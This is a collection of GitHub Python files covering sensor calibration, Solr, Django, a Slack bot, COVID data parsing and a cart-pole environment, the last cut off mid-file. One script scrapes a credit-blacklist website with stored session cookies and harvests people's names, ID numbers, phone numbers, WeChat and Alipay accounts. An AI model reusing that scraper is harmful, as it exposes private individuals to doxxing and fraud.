+{"seq_id":"71126629929","text":"from cProfile import label\nimport numpy as np\nfrom scipy import io\nfrom quaternion import Quaternion\nimport math\nfrom scipy.spatial.transform import Rotation as R\n\nimport matplotlib.pyplot as plt\n\n\nif __name__ == \"__main__\":\n g = 9.81\n\n # LOAD IMU\n data_num = 3\n imu = io.loadmat('imu/imuRaw'+str(data_num)+'.mat')\n vicon = io.loadmat('vicon/viconRot'+str(data_num)+'.mat')\n accel = imu['vals'][0:3,:]\n gyro = imu['vals'][3:6,:]\n T = np.shape(imu['ts'])[1]\n\n\n # LOAD VICON DATASET AND PROCESS ROTATION MATRIX\n rot = vicon['rots']\n ts_vicon = vicon['ts'][0, :]\n rot_list = [rot[:, :, i] for i in range(rot.shape[-1])]\n \n quat_list = [Quaternion() for i in range(rot.shape[-1])]\n quat_list = [quat_list[index].from_rotm(entry) for index, entry in enumerate(rot_list)]\n\n euler_list = [entry.euler_angles() for entry in quat_list]\n euler_arr = np.vstack(euler_list)\n\n\n # PLOT ROLL/PITCH/YAW FROM VICON\n colors = ['red', 'blue', 'lime']\n legends = ['roll', 'pitch', 'yaw']\n\n fig, axs = plt.subplots(3, 1, figsize=(12, 8))\n for k in range(3):\n axs[k].plot(np.arange(len(euler_list)), euler_arr[:, k], color=colors[k], label=legends[k]+ \"_vicon\")\n axs[k].legend()\n axs[0].set_title(\"Vicon Roll/Pitch/Yaw\")\n\n\n # CALIBRATE ACCELERATOR MEASURE\n \"\"\"\n - Calibrate betas first so roll pitch align with vicon from the beginning\n - Calibrate alpha_z so the magnitude remains at +g in the beginning\n - Calibrate the rest of alphas so the roll pitch align with vicon later on\n \"\"\"\n\n accel = accel.astype(int)\n\n alpha_accel = [30, 40, 35]\n beta_accel = [510, 501, 500]\n\n\n accel_proc = np.zeros((3, T))\n for k in range(3):\n accel_proc[k, :] = (accel[k, :] - beta_accel[k]) * 3300 / (1023 * alpha_accel[k])\n\n accel_proc[0, :] = -accel_proc[0, :]\n accel_proc[1, :] = -accel_proc[1, :]\n\n\n # COMPUTE ROLL PITCH FROM ACCEL ASSUMING STATIONARY\n \"\"\"\n Rotation Matrix to Euler Angle: https://en.wikipedia.org/wiki/Conversion_between_quaternions_and_Euler_angles\n Derivation: https://mwrona.com/posts/accel-roll-pitch/\n\n Note: Although IMU experiences gravitational acceleration acting downwards, the reading is positive. Hence, the \n accelerometer vector at stationary should be [0, 0, +g] as opposed to -g in the derivation post, and the negative\n sign in computing pitch\n \"\"\"\n\n roll_accel = np.arctan(accel_proc[1, :]/accel_proc[2, :])\n pitch_accel = np.arctan(-accel_proc[0, :]/np.linalg.norm(accel_proc[0:3, :], axis=0))\n\n axs[0].set_title('Accelerometer Calibration: IMU Roll/Pitch')\n axs[0].plot(range(T), roll_accel, '--', color=colors[0], label=legends[0]+'_accel')\n axs[0].legend()\n axs[1].plot(range(T), pitch_accel, '--', color=colors[1], label=legends[1]+'_accel')\n axs[1].legend()\n\n\n colors = ['red', 'blue', 'lime']\n legends = ['a_x', 'a_y', 'a_z']\n fig, axs = plt.subplots(3, 1, figsize=(12, 8))\n for k in range(3):\n axs[k].plot(np.arange(accel_proc.shape[1]), accel_proc[k, :], color=colors[k], label=legends[k])\n if k == 2:\n axs[k].plot(np.arange(accel_proc.shape[1]), 9.81*np.ones((accel_proc.shape[1],)), 'k', label = \"g\")\n axs[k].legend()\n \n axs[0].set_title('Accelerometer Calibration: Acceleration Magnitude')\n\n \n \"\"\"\n\n accel_mag = np.linalg.norm(accel_proc, axis=0)\n fig = plt.figure(figsize=(12, 8))\n ax = fig.add_subplot()\n ax.plot(np.arange(T), accel_mag)\n ax.set_title(\"IMU Acceleration Magnitude\")\n\n # RETRIEVE GROUND TRUTH ANGULAR VELOCITY\n w_xyz = np.zeros((len(quat_list)-1, 3))\n dt = np.zeros((len(quat_list)-1, ))\n for i in np.arange(1, len(quat_list)):\n dt[i-1] = ts_vicon[i] - ts_vicon[i-1]\n\n q_next = R.from_matrix(rot_list[i])\n q_prev = R.from_matrix(rot_list[i-1])\n dq = q_next * q_prev.inv()\n w_xyz[i-1, :] = dq.as_rotvec()\n\n # q_next = quat_list[i]\n # q_prev = quat_list[i-1]\n # dq = q_next.__mul__(q_prev.inv())\n # w_xyz[i-1, :] = dq.axis_angle()/dt\n dt = np.mean(dt)\n\n\n colors = ['red', 'blue', 'lime']\n legends = ['w_x', 'w_y', 'w_z']\n fig, axs = plt.subplots(3, 1, figsize=(12, 8))\n for k in range(3):\n axs[k].plot(np.arange(w_xyz.shape[0]), w_xyz[:, k]/dt, color=colors[k], label=legends[k])\n axs[k].legend()\n axs[0].set_title('Vicon Angular Velocity')\n\n \n \n # PLOT GYROSCOPE MEASURE\n gyro = gyro.astype(int)\n alpha_gyro = [250, 250, 250]\n beta_gyro = [369, 373, 376]\n\n gyro_proc = np.zeros((3, T))\n for k in range(3):\n gyro_proc[k, :] = (gyro[k, :] - beta_gyro[k]) * 3300 / (1023 * alpha_gyro[k])\n\n\n colors = ['red', 'blue', 'lime']\n legends = ['w_x', 'w_y', 'w_z']\n fig, axs = plt.subplots(3, 1, figsize=(12, 8))\n for k in range(3):\n axs[k].plot(np.arange(gyro_proc.shape[1]), gyro_proc[k, :], color=colors[k], label=legends[k])\n axs[k].legend()\n axs[0].set_title('IMU Angular Velocity')\n\n\n\n \n\n \"\"\"\n\n\n plt.show()\n\n pass","repo_name":"SunannnSun/UKF","sub_path":"calibrate.py","file_name":"calibrate.py","file_ext":"py","file_size_in_byte":5066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"24708955933","text":"import connection\nimport query\n\ndef index(connection, collection, document):\n \"\"\"\n Add the documents to the collection using the Solr connection.\n :param connection: the solr connection\n :param collection: the solr collection\n :param document: the documents to be index\n :return: Nothing\n \"\"\"\n connection[collection].add(document)\n connection[collection].commit()\n\nif __name__ == '__main__':\n connection = connection.get_connection()\n docs = [{\"id\":\"1\", \"name\":\"a\"},{\"id\":\"2\",\"name\":\"b\"}]\n\n index(connection, 'zomato_reviews',docs)\n # op = query.get(connection, '*:*')\n # print op\n\n","repo_name":"manishdwibedy/Top-Dishes-Zomato","sub_path":"solr/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28082969128","text":"from __future__ import unicode_literals\n\nfrom django.template.loader import render_to_string\nfrom . import models\n\n\ndef get_action_text(action):\n \"\"\"\n Get a text respresentation of the Action\n :param action: Model, Action model instance\n :returns: String, text description of an Activity Action\n \"\"\"\n context = {\n 'actor': action.actor,\n 'verb': action.verb,\n 'action': action.action,\n 'target': action.target,\n 'timestamp': action.time_ago\n }\n\n if action.target:\n return (\n '{actor} {verb} {action} to {target} {timestamp}'\n ).format(**context)\n\n if action.action:\n return ('{actor} {verb} {action} {timestamp}').format(**context)\n\n return '{actor} {verb} {timestamp}'.format(**context)\n\n\ndef get_action_html(action):\n \"\"\"\n Get a html respresentation of the Action\n :param action: Model, Action model instance\n :returns: String, html description of an Activity Action\n \"\"\"\n return render_to_string('action.html', {'action': action})\n\n\ndef add_action(actor, verb, action=None, target=None):\n kwargs = {\n 'actor': actor,\n 'verb': verb,\n 'action': action,\n 'target': target,\n }\n # remove any None key values\n kwargs = {k: v for k, v in kwargs.items() if v}\n\n return models.Action.objects.create(**kwargs)\n","repo_name":"richardARPANET/django-simple-activity","sub_path":"src/activity/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41117678962","text":"import os\nimport hashlib\n\npaths = ['/home/user/PycharmProjects/justforfun/test_path1']\n\n\ndef chunk_reader(file_obj, chunk_size: int = 1024):\n \"\"\"Generator that reads a file in chunks of bytes\"\"\"\n while True:\n chunk = file_obj.read(chunk_size)\n if not chunk:\n return\n yield chunk\n\n\ndef check_for_duplicates(paths_list: list, hash_func=hashlib.sha1):\n hashes = {}\n for path in paths_list:\n for dir_path, dir_names, filenames in os.walk(path):\n for filename in filenames:\n full_path = os.path.join(dir_path, filename)\n hash_obj = hash_func()\n for chunk in chunk_reader(open(full_path, 'rb')):\n hash_obj.update(chunk)\n file_id = (hash_obj.digest(), os.path.getsize(full_path))\n duplicate = hashes.get(file_id, None)\n if duplicate:\n print(\"Duplicate found: %s and %s\" % (full_path, duplicate))\n else:\n hashes[file_id] = full_path\n\n\nif __name__ == \"__main__\":\n if paths:\n check_for_duplicates(paths)\n else:\n print(\"Please, enter paths to the check_for_duplicates function\")\n","repo_name":"MrFlava/justforfun","sub_path":"copied_files_check.py","file_name":"copied_files_check.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41544918151","text":"from orquesta import conducting\nfrom orquesta.specs import native as native_specs\nfrom orquesta import statuses\nfrom orquesta.tests.unit import base as test_base\n\n\nclass WorkflowConductorExtendedTaskTest(test_base.WorkflowConductorTest):\n def test_task(self):\n wf_def = \"\"\"\n version: 1.0\n \n vars:\n - var_cpu: null\n - var_res_cpu: null\n \n\n tasks:\n \n task_cpu:\n action: core.local cmd=\"mpstat | awk '$3 ~ /CPU/ { for(i=1;i<=NF;i++) { if ($i ~ /%idle/) field=i } } $3 ~ /all/ { printf(100 - $field) }'\"\n next:\n - when: <% succeeded() %>\n do:\n - post_cpu_success_to_slack\n \n post_cpu_success_to_slack :\n action: chatops.post_message\n input:\n channel: 'mychannel'\n message: \"cpu is under_utilized on localhost.\"\n next:\n - publish:\n - task1_status: <% task_status(task_cpu) %>\n - task2_status: <% task_status(post_cpu_success_to_slack) %>\n \n output:\n - task1_status: <% ctx(task1_status) %>\n - task2_status: <% ctx(task2_status) %>\n \n \n \"\"\"\n \n expected_errors = []\n expected_output = {\n \"task1_status\": \"succeeded\",\n \"task2_status\": \"succeeded\",\n \n }\n \n spec = native_specs.WorkflowSpec(wf_def)\n conductor = conducting.WorkflowConductor(spec)\n conductor.request_workflow_status(statuses.RUNNING)\n self.assertEqual(conductor.get_workflow_status(), statuses.RUNNING)\n self.assertListEqual(conductor.errors, expected_errors)\n \n\n # Process task1.\n task_name = \"task_cpu\"\n self.forward_task_statuses(conductor, task_name, [statuses.RUNNING, statuses.SUCCEEDED])\n\n # Process task2.\n task_name = \"post_cpu_success_to_slack\"\n self.forward_task_statuses(conductor, task_name, [statuses.RUNNING, statuses.SUCCEEDED])\n \n \n\n conductor.render_workflow_output()\n self.assertEqual(conductor.get_workflow_status(), statuses.SUCCEEDED)\n self.assertListEqual(conductor.errors, expected_errors)\n self.assertDictEqual(conductor.get_workflow_output(), expected_output)\n\n\n \n","repo_name":"Sushant767/Stackstorm_system_monitoring","sub_path":"tests/test_workflow_tasks.py","file_name":"test_workflow_tasks.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"4963799205","text":"# -*- encoding:utf-8 -*-\nimport requests, re\nfrom lxml import etree\n\n\nhome_url = 'https://www.xinyongheimingdan.cc/' # 设置要爬取信息的主站地址(中国信用黑名单)\ncookies = {'PHPSESSID': '0bemughtu9sjmdc0c2p0nnq2s0',\n '__cfduid': 'd50e82d6acfe179c913b97e305ee44b2c1514699020',\n '__tins__15183126':'%7B%22sid%22%3A%201514699019967%2C%20%22vd%22%3A%2012%2C%20%22expires%22%3A%201514702368853%7D',\n '_ga': 'GA1.2.1922643652.1514699020',\n '_gat': '1',\n '_gid': 'GA1.2.773777402.1514699020'} # 访问信用黑名单网站的登录cookies\n\nhome_response = requests.get(home_url, cookies=cookies)\n\nhome_html = home_response.text # 把读取的网页内容取出来 localHref('pMmaPiRtD9')\n\n# localHref('eNsrJvBcZ7')\n\nhref_geren = r\"localHref\\(\\'(.*?)\\'\\)\"\n\nr_totle_page = r'共 [0-9]+' # 正则表达式,获取一共有多少页\n\nr_curent_page = r' \\d+\\/\\d+ 页' # 正则表达式,获取当前正好在哪个页面\n\nh_re = re.compile(href_geren) # 生成正则表达式\n\nhref_geren_all = h_re.findall(home_html) # 选出所有符合的链接特征\n\ntotle_page_num = int(re.search(r_curent_page, home_html).group().split('/')[1].split(' ')[0]) # 取出一共有多少页\ncurent_page_num = int(re.search(r_curent_page, home_html).group().split('/')[0]) # 取出当前所在页数\n\n\nfor i in href_geren_all: # 生成个人的属性页面\n profile_url = 'https://www.xinyongheimingdan.cc/blacklist-'+i+'.html' # 便利出来组合成个人页面的 url\n\n # get_url = requests.get(profile_url, headers={'cookies':cookies})\n\n profile_response = requests.get(profile_url, cookies=cookies)\n\n profile_HTML = profile_response.text.encode(\"utf-8\")\n\n htmlOBJ = etree.HTML(profile_HTML)\n\n nameOBJ = htmlOBJ.xpath('//*[@id=\"body\"]/div/div/div[2]/span[1]/text()') # 名字\n\n sfzOBJ = htmlOBJ.xpath('//h3[@class=\"margin_top_15\"]/span[@class=\"inline\"]/i[1]/text()') # 身份证\n\n phoneOBJ = htmlOBJ.xpath('//*[@id=\"body\"]/div/div/h3[1]/span[2]/i/text()') # 手机号\n wechatOBJ = htmlOBJ.xpath('//*[@id=\"body\"]/div/div/div[3]/span[1]/text()') # 微信\n alipayOBJ = htmlOBJ.xpath('//*[@id=\"body\"]/div/div/div[3]/span[2]/text()') # 支付宝\n all_info = nameOBJ, sfzOBJ, phoneOBJ, wechatOBJ, alipayOBJ\n\n print(all_info)","repo_name":"ljingen/PythonShizhanPractice","sub_path":"spide_zhengxin_demo/spide_zhengxin_demo.py","file_name":"spide_zhengxin_demo.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"1543399642","text":"#!/usr/bin/env python\n\nimport os\nimport time\nimport logging\nimport re\nimport sys\nimport yaml\nimport argparse\n\nfrom slackclient import SlackClient\nCWD = os.path.dirname(os.path.realpath(__file__))\nsys.path.insert(0, os.path.join(CWD, '../src'))\nfrom chatbot.client import Client\nfrom chatbot.server.session import SessionManager\n\nHR_CHATBOT_AUTHKEY = os.environ.get('HR_CHATBOT_AUTHKEY', 'AAAAB3NzaC')\nSLACKBOT_API_TOKEN = os.environ.get('SLACKBOT_API_TOKEN')\nSLACKTEST_TOKEN = os.environ.get('SLACKTEST_TOKEN')\nCHATBOT_SERVER_URL = os.environ.get('CHATBOT_SERVER_URL', 'http://localhost:8001')\nURL_PREFIX = os.environ.get('URL_PREFIX', \"http://localhost:8001\")\n\nlogger = logging.getLogger('hr.chatbot.slackclient')\n\ndef format_trace(traces):\n pattern = re.compile(r'(.*:)?\\s*(.*\\.aiml), (\\(.*\\)), (.*), (\\(.*\\))')\n line_pattern = re.compile(r'\\(line (?P\\d+), column \\d+\\)')\n formated_traces = []\n for name, stage, trace in traces:\n subtraces = trace.split('\\n')\n formated_subtraces = []\n for subtrace in subtraces:\n matchobj = pattern.match(subtrace)\n if matchobj:\n other, fname, tloc, pname, ploc = matchobj.groups()\n tline = line_pattern.match(tloc).group('line')\n pline = line_pattern.match(ploc).group('line')\n\n p = '<{urlprefix}/{fname}#L{pline}|{pname} {ploc}>'.format(\n pname=pname, urlprefix=URL_PREFIX, fname=fname, pline=pline, ploc=ploc)\n t = '<{urlprefix}/{fname}#L{tline}|{tloc}>'.format(\n urlprefix=URL_PREFIX, fname=fname, tline=tline, tloc=tloc)\n if other:\n formated_trace = '{other}\\n{p}, {t}, {fname}'.format(other=other, fname=fname, p=p, t=t)\n else:\n formated_trace = '{p}, {t}, {fname}'.format(fname=fname, p=p, t=t)\n formated_subtraces.append(formated_trace)\n else:\n formated_subtraces.append(subtrace)\n formated_traces.append('{name}: {stage}: \\n{subtraces}\\n'.format(name=name, stage=stage, subtraces='\\n'.join(formated_subtraces)))\n return formated_traces\n\n\nclass HRSlackBot(object):\n\n def __init__(self, host, port, botname, **kwargs):\n self.sc = SlackClient(SLACKBOT_API_TOKEN)\n self.sc.rtm_connect()\n self.botname = botname\n self.host = host\n self.port = str(port)\n self.lang = 'en'\n self.icon_url = 'https://avatars.slack-edge.com/2016-05-30/46725216032_4983112db797f420c0b5_48.jpg'\n self.session_manager = SessionManager()\n self.weights = kwargs.get('weights')\n\n def send_message(self, channel, attachments):\n self.sc.api_call(\n \"chat.postMessage\", channel=channel,\n attachments=attachments, username=self.botname.title(),\n icon_url=self.icon_url)\n\n def error(self, channel, msg):\n attachments = [{\n 'title': msg,\n 'color': 'danger',\n 'fallback': msg\n }]\n logger.error(msg)\n self.send_message(channel, attachments)\n\n def info(self, channel, msg):\n attachments = [{\n 'title': msg,\n 'color': '#36a64f',\n 'fallback': msg\n }]\n logger.info(msg)\n self.send_message(channel, attachments)\n\n def run(self):\n while True:\n time.sleep(0.2)\n messages = self.sc.rtm_read()\n if not messages:\n continue\n for message in messages:\n if message['type'] != u'message':\n continue\n if message.get('subtype') == u'bot_message':\n continue\n usr_obj = self.sc.api_call(\n 'users.info', token=SLACKTEST_TOKEN, user=message['user'])\n if not usr_obj['ok']:\n continue\n profile = usr_obj['user']['profile']\n name = profile.get('first_name') or profile.get('email')\n question = message.get('text')\n channel = message.get('channel')\n\n sid = self.session_manager.get_sid(name, self.botname)\n session = self.session_manager.get_session(sid)\n if session is not None:\n assert hasattr(session.sdata, 'client')\n client = session.sdata.client\n else:\n client = Client(HR_CHATBOT_AUTHKEY, username=name,\n botname=self.botname, host=self.host, port=self.port,\n response_listener=self)\n client.set_marker('Slack')\n if self.weights:\n client.set_weights(self.weights)\n self.session_manager.add_session(name, self.botname, client.session)\n session = self.session_manager.get_session(client.session)\n if session is not None:\n session.sdata.client = client\n session.sdata.channel = channel\n self.info(channel, \"Session <{url}/v1.1/session_history?session={sid}&Auth={auth}|{sid}>\".format(\n url=CHATBOT_SERVER_URL, sid=session.sid, auth=HR_CHATBOT_AUTHKEY))\n else:\n self.error(channel, \"Can't get session\")\n continue\n\n logger.info(\"Question {}\".format(question))\n if question in [':+1:', ':slightly_smiling_face:', ':)', 'gd']:\n ret, _ = client._rate('good')\n if ret:\n logger.info(\"Rate good\")\n answer = 'Thanks for rating'\n color = 'good'\n else:\n logger.info(\"Rate failed\")\n answer = 'Rating failed'\n color = 'danger'\n attachments = [{\n 'title': answer,\n 'color': color,\n 'fallback': answer\n }]\n self.send_message(channel, attachments)\n continue\n if question in [':-1:', ':disappointed:', ':(', 'bd']:\n ret, _ = client._rate('bad')\n if ret:\n logger.info(\"Rate bad\")\n answer = 'Thanks for rating'\n color = 'good'\n else:\n logger.info(\"Rate failed\")\n answer = 'Rating failed'\n color = 'danger'\n attachments = [{\n 'title': answer,\n 'color': color,\n 'fallback': answer\n }]\n self.send_message(channel, attachments)\n continue\n\n try:\n client.ask(question)\n except Exception as ex:\n self.error(channel, ex.message)\n\n # session could change after ask\n if client.session != session.sid:\n self.session_manager.remove_session(session.sid)\n self.session_manager.add_session(\n name, self.botname, client.session)\n session = self.session_manager.get_session(client.session)\n session.sdata.client = client\n session.sdata.channel = channel\n self.info(channel, \"Session <{url}/v1.1/session_history?session={sid}&Auth={auth}|{sid}>\".format(\n url=CHATBOT_SERVER_URL, sid=session.sid, auth=HR_CHATBOT_AUTHKEY))\n logger.info(\"Session is updated\")\n\n def on_response(self, sid, response):\n answer = ''\n title = ''\n session = self.session_manager.get_session(sid)\n if session is None:\n time.sleep(0.5)\n session = self.session_manager.get_session(sid)\n if session is None:\n logger.error(\"No such session {}\".format(session))\n return\n channel = session.sdata.channel\n if response is None or not response.get('text'):\n answer = u\"Sorry, I can't answer it right now\"\n else:\n answer = response.get('text')\n trace = response.get('trace', '')\n botid = response.get('botid', '')\n if trace:\n formated_trace = format_trace(trace)\n if formated_trace:\n title = 'answered by {}\\n\\ntrace:\\n{}'.format(botid, '\\n'.join(formated_trace))\n attachments = [{\n 'pretext': answer,\n 'title': title,\n 'color': '#3AA3E3',\n 'fallback': answer,\n }]\n self.send_message(channel, attachments)\n\nif __name__ == '__main__':\n logging.basicConfig(format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n logging.getLogger().setLevel(logging.INFO)\n logging.getLogger('urllib3').setLevel(logging.WARN)\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n 'botname', help='Slack bot name')\n parser.add_argument(\n '--host', default='localhost', help='Host string of chatbot server')\n parser.add_argument(\n '--port', default='8001', help='Port string of chatbot server')\n parser.add_argument(\n '--weights', help='Chatbot tier weights')\n args = parser.parse_args()\n\n while True:\n try:\n HRSlackBot(args.host, args.port, args.botname, weights=args.weights).run()\n except Exception as ex:\n logger.error(ex)\n","repo_name":"hansonrobotics/HEAD","sub_path":"src/chatbot/scripts/slack_client.py","file_name":"slack_client.py","file_ext":"py","file_size_in_byte":9741,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"53"}
+{"seq_id":"20899004022","text":"import json\nfrom os import path\nimport requests\n\n# url = 'https://api.covid19india.org/v4/min/timeseries.min.json'\n# r = requests.get(url, allow_redirects=True)\n# open('timeseries.min.json', 'wb').write(r.content)\n\nfile = open('timeseries.min.json')\ndata = json.load(file)\n\n\nTTdeltaConfirmed = []\nTTdeltaRecovered = []\nTTdeltaDeceased = []\nfor i in data['TT']['dates']:\n try:\n TTdeltaConfirmed.append(data['TT']['dates'][i]['delta']['confirmed'])\n except:\n TTdeltaConfirmed.append(0)\n try:\n TTdeltaDeceased.append(data['TT']['dates'][i]['delta']['deceased'])\n except:\n TTdeltaDeceased.append(0)\n try:\n TTdeltaRecovered.append(data['TT']['dates'][i]['delta']['recovered'])\n except:\n TTdeltaRecovered.append(0)\n\nprint(TTdeltaConfirmed)\nprint(TTdeltaDeceased)\nprint(TTdeltaRecovered)\n\n\n# TTconfirmed = []\n# TTdeceased = []\n# TTrecovered = []\n# TTtested = []\n# TTvaccinated1 = []\n# TTvaccinated2 = []\n# for i in data['TT']['dates']:\n# try:\n# TTconfirmed.append(data['TT']['dates'][i]['total']['confirmed'])\n# except:\n# TTconfirmed.append(0)\n# try:\n# TTdeceased.append(data['TT']['dates'][i]['total']['deceased'])\n# except:\n# TTdeceased.append(0)\n# try:\n# TTrecovered.append(data['TT']['dates'][i]['total']['recovered'])\n# except:\n# TTrecovered.append(0)\n# try:\n# TTtested.append(data['TT']['dates'][i]['total']['tested'])\n# except:\n# TTtested.append(0)\n# try:\n# TTvaccinated1.append(data['TT']['dates'][i]['total']['vaccinated1'])\n# except:\n# TTvaccinated1.append(0)\n# try:\n# TTvaccinated2.append(data['TT']['dates'][i]['total']['vaccinated2'])\n# except:\n# TTvaccinated2.append(0)\n# countryTimeSeries = [TTconfirmed,TTdeceased,TTrecovered,TTtested,TTvaccinated1,TTvaccinated2]\n# print(countryTimeSeries)\n\n\n# stateCode = [\"AN\",\"AP\",\"AR\",\"AS\",\"BR\",\"CH\",\"CT\",\"DN\",\"DL\",\"GA\",\"GJ\",\"HR\",\"HP\",\"JK\",\"JH\",\"KA\",\"KL\",\"LA\",\"LD\",\"MP\",\"MH\",\"MN\",\"ML\",\"MZ\",\"NL\",\"OR\",\"PY\",\"PB\",\"RJ\",\"SK\",\"TN\",\"TG\",\"TR\",\"UP\",\"UT\",\"WB\"]\n\n# allStateTimeSeries = []\n# for i in stateCode:\n# confirmed = []\n# deceased = []\n# recovered = []\n# tested = []\n# vaccinated1 = []\n# vaccinated2 = []\n# for j in data[i]['dates']:\n# try:\n# confirmed.append(data[i]['dates'][j]['total']['confirmed'])\n# except:\n# confirmed.append(0)\n# try:\n# deceased.append(data[i]['dates'][j]['total']['deceased'])\n# except:\n# deceased.append(0)\n# try:\n# recovered.append(data[i]['dates'][j]['total']['recovered'])\n# except:\n# recovered.append(0)\n# try:\n# tested.append(data[i]['dates'][j]['total']['tested'])\n# except:\n# tested.append(0)\n# try:\n# vaccinated1.append(data[i]['dates'][j]['total']['vaccinated1'])\n# except:\n# vaccinated1.append(0)\n# try:\n# vaccinated2.append(data[i]['dates'][j]['total']['vaccinated2'])\n# except:\n# vaccinated2.append(0)\n# allStateTimeSeries.append([confirmed,deceased,recovered,tested,vaccinated1,vaccinated2])\n\n# print(allStateTimeSeries)\n\n","repo_name":"utgupta27/realtime-covid19-data-parsing-script","sub_path":"parseTimeSeries.py","file_name":"parseTimeSeries.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"29138904524","text":"\"\"\"\nClassic cart-pole system implemented by Rich Sutton et al.\nCopied from http://incompleteideas.net/sutton/book/code/pole.c\npermalink: https://perma.cc/C9ZM-652R\n\nModified for swing up problem with constraints\n\"\"\"\n\nimport math\nimport gym\nfrom gym import spaces, logger\nfrom gym.utils import seeding\nimport numpy as np\n\nclass CartSafeEnv(gym.Env):\n \"\"\"\n Description:\n A pole is attached by an un-actuated joint to a cart, which moves along a frictionless track.\n The pendulum starts hanging down, and the goal is to swing it up by increasing and reducing the cart's velocity.\n\n Source:\n This environment is a modified version of the cart-pole problem described by Barto, Sutton, and Anderson\n\n Observation: \n Type: Box(4)\n Num\tObservation Min Max\n 0\tCart Position -4.8 4.8\n 1\tCart Velocity -Inf Inf\n 2\tPole Angle 0 2*math.pi\n 3\tPole Velocity At Tip -Inf Inf\n\n Note: angle state is only up to 2*Pi, meaning e.g. 1*Pi is the same state as 3*Pi\n \n Actions:\n Type: Discrete(2)\n Num\tAction\n 0\tPush cart to the left\n 1\tPush cart to the right\n \n Note: The amount the velocity that is reduced or increased is not fixed; it depends on the angle the pole is pointing. This is because the center of gravity of the pole increases the amount of energy needed to move the cart underneath it\n\n Reward:\n Since we want the agent to learn to swing up our Reward is 1+cos(Pole Angle) for every step taken,\n including the termination step\n\n Constraint Cost:\n We constrain the position of the cart. Every time step that the cart violates these constraints we return an\n immediate cost of 1 for the violated constraint. For Constrained Markov Decision Problems (CMDPs) we typically\n want to have a threshold for the expected cumulative constraint costs.\n The immediate constraint costs are returned inside the info dict.\n Constraints:\n -1 < Cart Position < 1\n\n\n Starting State:\n All observations are assigned a uniform random value in [-0.05..0.05], for the angle we add pi such that the pendulum\n starts at the bottom and the environment is consequently more difficult\n\n Episode Termination:\n Cart Position is more than 2.4 (center of the cart reaches the edge of the display)\n Episode length is greater than 300\n Solved Requirements\n Considered solved when the average reward is greater than or equal to 520 over 100 consecutive trials.\n A reward of 520 corresponds approx to a lower bound for an epsiode of 300 steps with 75% of the time in between an angle of [-12,12] degrees.\n \"\"\"\n \n metadata = {\n 'render.modes': ['human', 'rgb_array'],\n 'video.frames_per_second' : 50\n }\n\n def __init__(self):\n self.gravity = 9.8\n self.masscart = 1.0\n self.masspole = 0.1\n self.total_mass = (self.masspole + self.masscart)\n self.length = 0.5 # actually half the pole's length\n self.polemass_length = (self.masspole * self.length)\n self.force_mag = 10.0\n self.tau = 0.02 # seconds between state updates\n self.kinematics_integrator = 'euler'\n\n # Angle at which to fail the episode\n # self.theta_threshold_radians = 12 * 2 * math.pi / 360\n self.x_threshold = 2.4\n\n self.x_constraint = 1.0\n\n # Angle limit set to 2 * theta_threshold_radians so failing observation is still within bounds\n high = np.array([\n self.x_threshold * 2,\n np.finfo(np.float32).max,\n # self.theta_threshold_radians * 2,\n 2*math.pi,\n np.finfo(np.float32).max])\n\n low = -np.array([\n self.x_threshold * 2,\n np.finfo(np.float32).max,\n # self.theta_threshold_radians * 2,\n 0,\n np.finfo(np.float32).max])\n\n self.action_space = spaces.Discrete(2)\n self.observation_space = spaces.Box(low, high, dtype=np.float32)\n\n self.seed()\n self.viewer = None\n self.state = None\n\n self.steps_beyond_done = None\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def constraint_cost(self, x, x_dot):\n if np.abs(x) > self.x_constraint:\n x_cost = 1\n else:\n x_cost = 0\n\n # if np.abs(x_dot) > self.x_dot_constraint:\n # x_dot_cost = 1\n # else:\n # x_dot_cost = 0\n return [x_cost]\n\n\n def step(self, action):\n assert self.action_space.contains(action), \"%r (%s) invalid\"%(action, type(action))\n state = self.state\n x, x_dot, theta, theta_dot = state\n force = self.force_mag if action==1 else -self.force_mag\n costheta = math.cos(theta)\n sintheta = math.sin(theta)\n temp = (force + self.polemass_length * theta_dot * theta_dot * sintheta) / self.total_mass\n thetaacc = (self.gravity * sintheta - costheta* temp) / (self.length * (4.0/3.0 - self.masspole * costheta * costheta / self.total_mass))\n xacc = temp - self.polemass_length * thetaacc * costheta / self.total_mass\n if self.kinematics_integrator == 'euler':\n x = x + self.tau * x_dot\n x_dot = x_dot + self.tau * xacc\n theta = theta + self.tau * theta_dot\n theta_dot = theta_dot + self.tau * thetaacc\n else: # semi-implicit euler\n x_dot = x_dot + self.tau * xacc\n x = x + self.tau * x_dot\n theta_dot = theta_dot + self.tau * thetaacc\n theta = theta + self.tau * theta_dot\n theta = theta % (2*math.pi)\n self.state = (x,x_dot,theta,theta_dot)\n done = x < -self.x_threshold \\\n or x > self.x_threshold\n # or theta < -self.theta_threshold_radians \\\n # or theta > self.theta_threshold_radians\n done = bool(done)\n\n if not done:\n reward = 1+np.math.cos(theta)\n elif self.steps_beyond_done is None:\n # Pole just fell!\n self.steps_beyond_done = 0\n reward = 1+np.math.cos(theta)\n else:\n if self.steps_beyond_done == 0:\n logger.warn(\"You are calling 'step()' even though this environment has already returned done = True. You should always call 'reset()' once you receive 'done = True' -- any further steps are undefined behavior.\")\n self.steps_beyond_done += 1\n reward = -1.0\n\n constraint_costs = self.constraint_cost(x, x_dot)\n\n return np.array(self.state), reward, done, 